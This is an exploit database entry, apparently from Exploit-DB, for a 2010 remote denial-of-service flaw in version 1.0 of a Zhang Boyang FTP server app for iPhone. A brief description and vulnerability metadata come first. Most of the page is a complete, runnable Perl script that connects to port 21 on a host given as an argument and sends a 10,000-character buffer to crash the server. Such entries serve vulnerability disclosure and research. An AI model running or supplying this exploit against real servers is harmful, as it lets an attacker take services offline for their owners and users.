FTP Server By Zhang Boyang - Remote Dos Exploit

vendor:

FTP Server

by:

Ale46

7,5

CVSS

HIGH

Remote Denial of Service (DoS)

N/A

CWE

Product Name: FTP Server

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:zhang_boyang:ftp_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: iPhone 3GS with 3.1.2 firmware

2010

FTP Server By Zhang Boyang – Remote Dos Exploit

This exploit is a remote denial of service (DoS) attack against the FTP Server By Zhang Boyang application. The exploit sends a large buffer of data to the FTP server, causing it to crash. The exploit was tested on an iPhone 3GS with 3.1.2 firmware.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/perl

#

# Exploit: FTP Server By Zhang Boyang - Remote Dos Exploit

# Date: 24/02/10

# Author: Ale46

# Software Link: http://itunes.apple.com/us/app/ftp-server/id356055128?mt=8

# Version: 1.0

# Tested on: Iphone 3GS with 3.1.2 firmware

# Greetz: Gandalf



use IO::Socket;



if (@ARGV<1){

	print ("[-]\tUsage: ./ftpServer <server_ip>\n");

	exit();

}

my $host = $ARGV[0];

my $port = 21;

my $stuff = "A"*10000;

my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,

PeerPort => $port);

unless ($socket) { die "Can\'t connect to $host" }

print "[-]\tConnected to FTP Server\n\n";

sleep(2);

print "[-]\tSending evil buffer..\n\n";

sleep(2);

print $socket $stuff;

sleep(2);

print "[-]\tPUAAA..Crashed..\n";